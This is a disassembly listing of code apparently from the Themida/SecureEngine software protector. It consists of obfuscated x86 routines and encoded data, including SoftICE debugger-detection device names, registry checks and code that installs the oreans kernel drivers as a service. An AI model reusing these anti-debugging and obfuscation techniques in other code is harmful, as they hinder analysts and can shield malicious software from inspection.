dd 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h, 69784500h dd 4E4974h, 74697845h, 54554Fh, 4E497054h, 3 dup(0) dd 0DEB90800h, 0DFD5BB77h, 596E977h, 85890000h, 616A275h dd 0A271858Dh, 8D500616h, 16A1DB85h, 1685006h, 0FF800000h dd 16A28195h, 0FF196A06h, 16A275B5h, 6A016A06h, 0A858D00h dd 500616A2h, 0A271B5FFh, 95FF0616h, 6140B31h, 0A271B5FFh dd 95FF0616h, 616A27Dh, 0A271B5FFh, 95FF0616h, 6142FF1h dd 758589C3h, 8D0616A2h, 16A27185h, 858D5006h, 616A1DBh dd 16850h, 95FF8000h, 616A281h, 858D046Ah, 616A275h, 6A046A50h dd 34858D00h, 500616A2h, 0A271B5FFh, 95FF0616h, 6140B31h dd 0A271B5FFh, 95FF0616h, 616A27Dh, 0A271B5FFh, 95FF0616h dd 6142FF1h, 758589C3h, 8D0616A2h, 16A27185h, 858D5006h dd 616A1DBh, 16850h, 95FF8000h, 616A281h, 858D046Ah, 616A275h dd 6A046A50h, 1C858D00h, 500616A2h, 0A271B5FFh, 95FF0616h dd 6140B31h, 0A271B5FFh, 95FF0616h, 616A27Dh, 0A271B5FFh dd 95FF0616h, 6142FF1h, 758589C3h, 8D0616A2h, 16A27185h dd 858D5006h, 616A1DBh, 16850h, 95FF8000h, 616A281h, 858D046Ah dd 616A275h, 6A046A50h, 47858D00h, 500616A2h, 0A271B5FFh dd 95FF0616h, 6140B31h, 0A271B5FFh, 95FF0616h, 616A27Dh dd 0A271B5FFh, 95FF0616h, 6142FF1h, 758589C3h, 8D0616A2h dd 16A27185h, 858D5006h, 616A1DBh, 16850h, 95FF8000h, 616A281h dd 858D046Ah, 616A275h, 6A046A50h, 0F7858D00h, 500616A1h dd 0A271B5FFh, 95FF0616h, 6140B31h, 0A271B5FFh, 95FF0616h dd 616A27Dh, 0A271B5FFh, 95FF0616h, 6142FF1h, 0C9BD83C3h dd 6140Fh, 0B840Fh, 9D8B0000h, 6140FC9h, 894CC383h, 0BD83C303h dd 6140FC9h, 0B840F00h, 8B000000h, 140FC99Dh, 50C38306h dd 83C30389h, 140FC9BDh, 840F0006h, 0Bh, 0FC99D8Bh, 0C3830614h dd 0C3038954h, 0FC9BD83h, 0F000614h, 0B84h, 0C99D8B00h dd 8306140Fh, 38958C3h, 0C9BD83C3h, 6140Fh, 0B840Fh, 9D8B0000h dd 6140FC9h, 895CC383h, 60C3C303h, 0A2758589h, 858D0616h dd 616A271h, 0DB858D50h, 500616A1h, 168h, 8195FF80h, 6A0616A2h dd 75858D04h, 500616A2h, 6A046Ah, 0A26C858Dh, 0FF500616h dd 16A271B5h, 3195FF06h, 8306140Bh, 1410F1BDh, 840F0006h dd 0Ch, 0A271B5FFh, 95FF0616h, 616A27Dh, 0A271B5FFh, 95FF0616h dd 6142FF1h, 8960C361h, 16A27585h, 71858D06h, 500616A2h dd 0A1DB858Dh, 68500616h, 80000001h, 0A28195FFh, 46A0616h dd 0A275858Dh, 6A500616h, 8D006A04h, 16A24E85h, 0B5FF5006h dd 616A271h, 0B3195FFh, 0BD830614h, 61410F1h, 0C840F00h dd 0FF000000h, 16A271B5h, 7D95FF06h, 0FF0616A2h, 16A271B5h dd 0F195FF06h, 6106142Fh, 858960C3h, 616A275h, 0A271858Dh dd 8D500616h, 16A1DB85h, 1685006h, 0FF800000h, 16A28195h dd 8D046A06h, 16A27585h, 46A5006h, 858D006Ah, 616A255h dd 71B5FF50h, 0FF0616A2h, 140B3195h, 0F1BD8306h, 61410h dd 0C840Fh, 0B5FF0000h, 616A271h, 0A27D95FFh, 0B5FF0616h dd 616A271h, 2FF195FFh, 0C3610614h, 75858960h, 8D0616A2h dd 16A27185h, 858D5006h, 616A1DBh, 16850h, 95FF8000h, 616A281h dd 858D046Ah, 616A275h, 6A046A50h, 5D858D00h, 500616A2h dd 0A271B5FFh, 95FF0616h, 6140B31h, 10F1BD83h, 0F000614h dd 0C84h, 71B5FF00h, 0FF0616A2h, 16A27D95h, 71B5FF06h dd 0FF0616A2h, 142FF195h, 60C36106h, 0A2758589h, 858D0616h dd 616A271h, 0DB858D50h, 500616A1h, 168h, 8195FF80h, 6A0616A2h dd 75858D04h, 500616A2h, 6A046Ah, 0A264858Dh, 0FF500616h dd 16A271B5h, 3195FF06h, 8306140Bh, 1410F1BDh, 840F0006h dd 0Ch, 0A271B5FFh, 95FF0616h, 616A27Dh, 0A271B5FFh, 95FF0616h dd 6142FF1h, 0C760C361h, 16A27585h, 106h, 71858D00h, 500616A2h dd 0A1DB858Dh, 68500616h, 80000002h, 0A28195FFh, 0C00B0616h dd 0F840Fh, 85C70000h, 616A275h, 0 ; --------------------------------------------------------------------------- jmp loc_5A82E6 ; --------------------------------------------------------------------------- push 4 lea eax, [ebp+616A275h] push eax push 4 push 0 lea eax, [ebp+616A1EFh] push eax push dword ptr [ebp+616A271h] call dword ptr [ebp+6140B31h] or eax, eax jz loc_5A82D0 mov dword ptr [ebp+616A275h], 0 jmp loc_5A82DA ; --------------------------------------------------------------------------- loc_5A82D0: ; CODE XREF: Themida_:005A82BBj mov dword ptr [ebp+616A275h], 1 loc_5A82DA: ; CODE XREF: Themida_:005A82CBj push dword ptr [ebp+616A271h] call dword ptr [ebp+6142FF1h] loc_5A82E6: ; CODE XREF: Themida_:005A8294j popa mov eax, [ebp+616A275h] retn ; --------------------------------------------------------------------------- pusha mov [ebp+616A275h], eax lea eax, [ebp+616A271h] push eax lea eax, [ebp+616A1DBh] push eax push 80000001h call dword ptr [ebp+616A281h] push 4 lea eax, [ebp+616A275h] push eax push 4 push 0 lea eax, [ebp+616A1EFh] push eax push dword ptr [ebp+616A271h] call dword ptr [ebp+6140B31h] cmp dword ptr [ebp+61410F1h], 0 jz loc_5A8347 push dword ptr [ebp+616A271h] call dword ptr [ebp+616A27Dh] loc_5A8347: ; CODE XREF: Themida_:005A8335j push dword ptr [ebp+616A271h] call dword ptr [ebp+6142FF1h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+616A275h], eax lea eax, [ebp+616A271h] push eax lea eax, [ebp+616A1DBh] push eax push 80000001h call dword ptr [ebp+616A281h] push 4 lea eax, [ebp+616A275h] push eax push 4 push 0 lea eax, [ebp+616A201h] push eax push dword ptr [ebp+616A271h] call dword ptr [ebp+6140B31h] cmp dword ptr [ebp+61410F1h], 0 jz loc_5A83AE push dword ptr [ebp+616A271h] call dword ptr [ebp+616A27Dh] loc_5A83AE: ; CODE XREF: Themida_:005A839Cj push dword ptr [ebp+616A271h] call dword ptr [ebp+6142FF1h] popa retn ; --------------------------------------------------------------------------- mov byte ptr [ebp+6140849h], 52h push 0ADE47B07h push dword ptr [ebp+6142B25h] call dword ptr [ebp+614069Dh] mov [ebp+616A281h], eax mov byte ptr [ebp+6140849h], 52h push 902E00E5h push dword ptr [ebp+6142B25h] call dword ptr [ebp+614069Dh] mov [ebp+616A27Dh], eax mov byte ptr [ebp+6140849h], 52h push 0B9BF1235h push dword ptr [ebp+6142B25h] call dword ptr [ebp+614069Dh] mov [ebp+6140B31h], eax mov byte ptr [ebp+6140849h], 52h push 98781034h push dword ptr [ebp+6142B25h] call dword ptr [ebp+614069Dh] mov [ebp+6142FF1h], eax mov byte ptr [ebp+6140849h], 52h push 0C005DBD4h push dword ptr [ebp+6142B25h] call dword ptr [ebp+614069Dh] mov [ebp+61416C9h], eax jmp short loc_5A8472 ; --------------------------------------------------------------------------- dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h dd 5C2E5C5Ch, 4349544Eh db 45h, 0 ; --------------------------------------------------------------------------- loc_5A8472: ; CODE XREF: Themida_:005A8452j mov eax, eax mov edx, [ebp+6142B01h] cmp dword ptr [ebp+61410F1h], 0 jnz short loc_5A848C cmp dword ptr [ebp+6140E25h], 0 jz short loc_5A84A5 loc_5A848C: ; CODE XREF: Themida_:005A8481j push eax push ebx mov eax, eax mov eax, 40Fh mov [ebp+6141819h], eax lea ebx, [ebp+616A752h] call ebx ; _iob pop ebx pop eax loc_5A84A5: ; CODE XREF: Themida_:005A848Aj cmp dword ptr [ebp+6140E25h], 0 jz short loc_5A84C5 push eax push ebx mov eax, 40Fh mov [ebp+6141819h], eax lea ebx, [ebp+616A441h] call ebx ; _iob pop ebx pop eax loc_5A84C5: ; CODE XREF: Themida_:005A84ACj mov cx, di mov di, 5367h mov eax, eax mov byte ptr [ebp+6140849h], 43h js loc_5A84E1 mov edi, [ebp+61433C9h] loc_5A84E1: ; CODE XREF: Themida_:005A84D5j push 0D7723A16h xor dword ptr [esp], 6BFC54EAh push 0 push ebx call sub_5A84F8 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A84F8 proc near ; CODE XREF: Themida_:005A84F0p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5A84F8 endp ; --------------------------------------------------------------------------- dd 0BFB4C6AEh, 3DFF93BCh, 2DB5FFF8h, 2906140Ch, 1416A5BDh dd 4E858D06h, 2306143Bh, 142BEDBDh, 66D0FF06h, 5050F78Bh dd 0F28B6652h, 0F60310Fh, 85h, 585A6100h, 6A240489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0EDCFC350h, 0E3CBCD02h, 7388D31Fh, 8D5BD8Bh, 952B0614h dd 6141FD1h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0B26FA3C3h, 0B8037568h, 4890FC6h dd 66000000h, 8180D7B9h, 0FD0B2404h, 8B563947h, 36A59CAh dd 14E9h, 51821300h, 0F64D264Bh, 0D682B6FEh, 1ED6DEEAh dd 7222373Dh, 89006A30h, 1415E99Dh, 68036A06h, 5302A082h dd 0BE9h, 0A54F4700h, 41C3D0F7h, 59BC8DBCh, 7E240481h dd 0F6CFD5Fh, 2C8Bh, 12E800h, 17E90000h, 7413793Ah, 7CE849B2h dd 0E90ED482h, 9CAF8572h, 0EE8h, 0CA593E00h, 6EED83C3h dd 7F6B9C0Bh, 5E1F19F4h, 0F9958B59h, 8D061403h, 16A8B89Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8D8BCC08h, 6141C5Dh, 87D78166h, 525093AAh dd 310FD18Ah, 5ACE8B66h, 66515058h, 5EFBF5BFh, 33BF6693h dd 89D0FF49h, 1408A9B5h, 1C3ABA06h, 0F400AD3h, 36985h dd 0D9958B00h, 58061423h, 68D0Fh, 9D290000h, 6140DD1h dd 0F28B6650h, 66240489h, 6A54E2BAh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 81D7F066h dd 4C0ACEF1h, 463678BFh, 0A745682Dh, 3481698Bh, 8BA7C524h dd 698D8B69h, 6A06142Ch, 8E803h, 32D20000h, 0A2C494F9h dd 8166A780h, 5E22CDE6h, 8E9006Ah, 0BE000000h, 0E82EC002h dd 316329EBh, 141545B5h, 6A036A06h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 3BDFC350h dd 4E81B02h, 0 dd 0FC00000h, 0B83h, 58F0F00h, 0B9000000h, 2C59471Eh, 8BF78B50h dd 50042444h, 0AE952h, 466B0000h, 0AAF878F8h, 22369F09h dd 8F0F310Fh, 4, 0DF87BA66h, 8B585Ah, 12E9h, 59B09900h dd 7F148C04h, 0EF949A27h, 1996CB4Ah, 89F54A19h, 0E9042444h dd 10h, 10B64C17h, 785B31BEh, 56009445h, 0A7C6B309h, 0A98D8B58h dd 8B06142Dh, 140A4DBDh, 0C19D8D06h, 810616A8h, 0A4862EC7h dd 1C895033h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 92F5BA0Dh, 0AB3D2A4Dh, 0B5338A47h dd 61402F9h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 6622FBC3h, 5FCCA81h, 0DF850F40h dd 81000001h, 213A01F6h, 11E9580Eh, 9F000000h, 336A4213h dd 0D68EADABh, 80CDC98Eh, 8BE317D8h, 2EB96050h, 607B6631h dd 74BBDF8Bh, 614753CEh, 24048961h, 13E9h, 0C215D800h dd 8731321Ah, 21F2A4C9h, 0CBDD2CA8h, 0A964E753h, 0BD8B006Ah dd 6141115h, 4E8h, 8000h, 52505000h, 310FF88Bh, 7E8h, 9190C600h dd 0DB84E4B2h, 0BE9h, 43BFE100h, 0F2A397B1h, 0DFA3B296h dd 8B585A5Ah, 50042444h, 9E852h, 0FBAE0000h, 0D2035939h dd 5AF975E2h, 13E8310Fh, 0FE000000h, 0CD67B9CEh, 2EE697DEh dd 114D2336h, 6424CC3Bh, 0C88B7714h, 8B585A5Ah, 13E900h dd 39FB0000h, 0E2D20359h, 23D5F975h, 491A83FAh, 38450480h dd 24448924h, 81605804h, 58B9A6C3h, 0E5BD8B57h, 61061400h dd 0B966036Ah, 6ABE9Bh, 6AD38B66h, 0BDBD8B03h, 29061410h dd 141BED9Dh, 4E806h, 0 dd 8E9C000h, 5A000000h, 7EDB90B0h, 50F2AAF3h, 8BF78B66h dd 60042444h, 9E9h, 3CCDCD00h, 0FDEB2C2Eh, 0DE878EDh, 7000000h dd 239F5C98h, 36755144h, 8B19C8F8h, 615E6160h, 4489008Bh dd 810F0424h, 9, 310F5250h, 5AC88B66h, 0BE665858h, 9D8D0E25h dd 616A8CCh, 0E8525050h, 11h, 11FB06A5h, 0E403AB59h, 0C93890B7h dd 0D950F6C7h, 0F525056h, 5E585A31h, 6660310Fh, 0F412BBAh dd 8Bh, 585A6100h, 2B241C89h, 140E91BDh, 81D0FF06h, 0F33B31C2h dd 850F4069h, 3Ah, 2BF59509h, 31580614h, 142B1185h, 187E906h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0F561AEC3h, 8BFDB160h, 1425F19Dh, 0D88B6106h dd 98A0Fh, 850F0000h, 3, 0E9D0BF0Fh, 12h, 770932C2h, 7332FC37h dd 0E02D2768h, 0D61BEE5Fh, 604B3751h, 119D9D09h, 8D2B0614h dd 6141709h, 758D2361h, 5806140Ch, 68C0F50h, 8B000000h dd 141115BDh, 85C65906h, 6140849h, 820F5343h, 6, 158D89h dd 0E85F0614h, 4, 0C0764AA7h, 310F5250h, 5050585Ah, 8E8h dd 0F5F31F00h, 7F6F06D1h, 7E928h, 0B470000h, 0AAB65627h dd 8B5A5FC7h, 0E9042444h, 14h, 92163012h, 0C2979A10h, 0DFA00514h dd 0E762B7Ch, 1C55AB7Bh, 92B9008Bh, 89641B21h, 0E9042444h dd 10h, 0CF9D635Fh, 4390C8A9h, 68DFEC50h, 0AC8EA3D3h, 0B5958B58h dd 0FF061400h, 140C2DB5h, 0BE806h, 3ED0000h, 0F9FF6F86h dd 0C5F8A91Fh, 0A9950BC6h, 5A061433h, 3B4E858Dh, 5E80614h dd 59000000h, 0C495EB64h, 12E8h, 76862800h, 12B0EC73h dd 4C0B3ECBh, 0C7ECF8CAh, 0E98E2C23h, 0Bh, 4746D054h, 82511B3Fh dd 5E696D17h, 8BD0FF5Fh, 0C3B250F7h, 53241C89h, 0FFACBE66h dd 8BD0FF5Eh, 140FEDB5h, 9D8DF806h, 61472AFh, 1B8CE8Bh dd 0BE000000h, 30CF4F16h, 79E28166h, 8BE3FF82h, 142E118Dh dd 89C18B06h, 142F3195h, 66C08B06h, 8308C9B9h, 1410F1BDh dd 9750006h, 0E25BD83h, 74000614h, 8B535019h, 40FB8C0h dd 85890000h, 61424F1h, 0A7B99D8Dh, 0D3FF0616h, 0BD83585Bh dd 6140E25h, 50177400h, 40FB853h, 85890000h, 61424F1h dd 0A45A9D8Dh, 0D3FF0616h, 6A585Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0B581B3C3h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 35C35747h dd 8B66508Ah, 0E9C08BD0h, 99h, 6775622Fh, 63656863h, 2F00326Bh dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h dd 737574h, 6D75642Fh, 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 10h dd 0CCBD8300h, 616B0h, 0A840Fh, 85C70000h, 6140E25h, 1 dd 84985C6h, 68470614h, 89093740h, 0CD243481h, 0FF19645Bh dd 140C2DB5h, 4E858D06h, 0FF06143Bh, 8BD0FFD0h, 223F80F8h dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h dd 31B84h, 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h dd 30384h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h dd 3F80FFFFh, 5850F00h, 0E9000000h, 2E0h, 1E9h, 3F804700h dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C3E9h, 0AE800h dd 0CBE90000h, 0E9FFFFFFh, 2B4h, 0B04CB58Dh, 25E80616h dd 3000002h, 16B0E1BDh, 0E1BD8306h, 616B0h, 0B840Fh, 85C70000h dd 61410F1h, 1, 57B58DC3h, 0E80616B0h, 1FCh, 0B0E1BD03h dd 0BD830616h, 616B0E1h, 0B840F00h, 0C7000000h, 140E2585h dd 106h, 0B58DC300h, 616B0D0h, 1D3E8h, 0E1BD0300h, 830616B0h dd 16B0E1BDh, 840F0006h, 0Bh, 0AA185C7h, 10614h, 8DC30000h dd 16B061B5h, 1AAE806h, 0BD030000h, 616B0E1h, 0B0E1BD83h dd 0F000616h, 0B84h, 2585C700h, 106140Eh, 0C3000000h, 0B06BB58Dh dd 81E80616h, 3000001h, 16B0E1BDh, 0E1BD8306h, 616B0h dd 15840Fh, 85C70000h, 6140E25h, 1, 10F185C7h, 10614h dd 8DC30000h, 16B079B5h, 14EE806h, 0BD030000h, 616B0E1h dd 0B0E1BD83h, 0F000616h, 0A84h, 5185C700h, 106142Ah, 8D000000h dd 16B083B5h, 126E806h, 0BD030000h, 616B0E1h, 0B0E1BD83h dd 0F000616h, 0A84h, 5185C700h, 106142Ah, 8D000000h, 16B08EB5h dd 0FEE806h, 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h dd 0A84h, 9585C700h, 106141Fh, 8D000000h, 16B094B5h, 0D6E806h dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h, 0A84h dd 185C700h, 1061431h, 8D000000h, 16B09AB5h, 0AEE806h dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h, 0A84h dd 3985C700h, 106141Bh, 8D000000h, 16B0A8B5h, 86E806h dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h, 0A84h dd 0D185C700h, 106142Fh, 8D000000h, 16B0B5B5h, 5EE806h dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h, 0A84h dd 2D85C700h, 1061420h, 8D000000h, 16B0C0B5h, 36E806h dd 0BD030000h, 616B0E1h, 0B0E1BD83h, 0F000616h, 0A84h dd 5185C700h, 106142Ch, 0E9000000h, 1, 203F8047h, 9840Fh dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h dd 1CE9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 5840Fh dd 0B90000h, 46000000h, 3E8047h, 8840Fh, 0C90B0000h, 0FFD3850Fh dd 0C90BFFFFh, 21840Fh, 3F800000h, 9840F00h, 80000000h dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h dd 2B000000h, 0E1B589F3h, 0E90616B0h, 0Ah, 0B0E185C7h dd 616h, 0C3610000h, 0B8h, 0FC00B00h, 0A84h, 5185C700h dd 6142Ah, 8B000000h, 7E8C8h, 0B1B30000h, 0FF833567h, 0F58D03ADh dd 5806141Fh, 23258D89h, 0C0810614h, 66A7h, 68CA8B66h dd 0 ; --------------------------------------------------------------------------- mov bh, 20h pop edx mov di, bx loc_5A903A: ; CODE XREF: Themida_:005A9087j mov esi, [eax+edx] add [ebp+6143121h], edi add esi, 0B528800h mov ecx, [ebp+6140741h] add esi, 365AC8F1h sub bx, 6290h sub esi, 49BB533Fh mov di, dx mov [eax+edx], esi jnb loc_5A906F push ecx stc pop ecx loc_5A906F: ; CODE XREF: Themida_:005A9066j xor [ebp+614231Dh], edi sub edx, 1 mov [ebp+6140B9Dh], edx dec edx dec edx dec edx cmp edx, 0FFFF99E0h jnz loc_5A903A pusha push ebx sbb eax, 490124B4h pop edi mov [ebp+6140B7Dh], ebx popa jmp loc_5A92B0 ; --------------------------------------------------------------------------- a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah db 0Dh,'Make sure that this file is not being used by another program.',0 align 4 dd 67h dup(0) dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A92B0: ; CODE XREF: Themida_:005A909Dj jmp loc_5A93A4 ; --------------------------------------------------------------------------- mov byte ptr [ebp+6140849h], 47h push 0E3E45B86h push dword ptr [ebp+6140C2Dh] lea eax, [ebp+6143B4Eh] call eax push 104h lea ebx, [ebp+6140531h] push ebx call eax push eax lea esi, [ebp+616B6FEh] mov edi, esi xor al, al loc_5A92E8: ; CODE XREF: Themida_:005A92E9j scasb jnz loc_5A92E8 sub edi, esi mov ecx, edi pop eax mov edi, ebx add edi, eax rep movsb mov byte ptr [ebp+6140849h], 43h push 0BC8E6EFCh push dword ptr [ebp+6140C2Dh] lea eax, [ebp+6143B4Eh] call eax lea esi, [ebp+6140531h] push 0 push 80h push 2 push 0 push 0 push 0C0000000h push esi call eax mov ebx, eax mov byte ptr [ebp+6140849h], 57h push 0A69BEE56h push dword ptr [ebp+6140C2Dh] lea eax, [ebp+6143B4Eh] call eax lea edi, [ebp+614232Dh] lea ecx, [ebp+616B824h] push 0 push edi push 37D0h push ecx push ebx call eax test eax, eax jnz loc_5A9386 lea esi, [ebp+616B506h] lea eax, [ebp+616A07Dh] call eax lea ecx, [ebp+61472AFh] mov eax, 0 jmp ecx ; --------------------------------------------------------------------------- loc_5A9386: ; CODE XREF: Themida_:005A9365j mov byte ptr [ebp+6140849h], 43h push 0C0764AA7h push dword ptr [ebp+6140C2Dh] lea eax, [ebp+6143B4Eh] call eax push ebx call eax retn ; --------------------------------------------------------------------------- loc_5A93A4: ; CODE XREF: Themida_:loc_5A92B0j mov ecx, 37D0h call $+5 pop eax add eax, 0Eh mov [eax], ecx jmp loc_5A93BB ; --------------------------------------------------------------------------- mov eax, ebx loc_5A93BB: ; CODE XREF: Themida_:005A93B4j jmp loc_5ACB90 ; --------------------------------------------------------------------------- dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0B0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0) dd 454Ch, 0 dd 40002h, 0 dd 38000h, 14h, 4 dup(0) dd 200h, 1C0h, 90h, 0 dd 7Eh, 0 dd 0C4h, 1, 0DCh, 3 dup(0) dd 12Ch, 138h, 2 dup(0) dd 142h, 196h, 1D2h, 0 dd 1D2h, 0 dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0) dd 4000000h, 27C0h, 0 dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h, 110000h dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h dd 10301h, 3, 0 dd 13h dup(70000h), 3C0000h, 70000h, 60010018h, 0AD000727h dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h dd 7279801h, 1016B00h, 2771h, 360h dup(0) dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0) aVerpp db 'verPP',0 align 4 a1vsr2vsr3vsr db '1vsR2vsR3vsR',0 align 4 dd 9C3h dup(0) ; --------------------------------------------------------------------------- sub eax, 1Bh cmp eax, 9 jnb short loc_5ACB2F jmp dword ptr ds:0[eax*4] ; --------------------------------------------------------------------------- loc_5ACB2F: ; CODE XREF: Themida_:005ACB26j clc retn ; --------------------------------------------------------------------------- align 4 dd 8 dup(0) dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h dd 5250580Ch, 5856544Fh, 44445F44h, 42h ; --------------------------------------------------------------------------- loc_5ACB90: ; CODE XREF: Themida_:loc_5A93BBj jmp loc_5ADC4C ; --------------------------------------------------------------------------- db 41h, 44h, 56h dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0) dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0) dd 6165726Fh, 3678736Eh, 79732E34h, 73h, 0 dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0) dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0) dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h dd 6172676Fh, 2E6Dh, 59h dup(0) dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0) dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0) dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch dd 0 dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 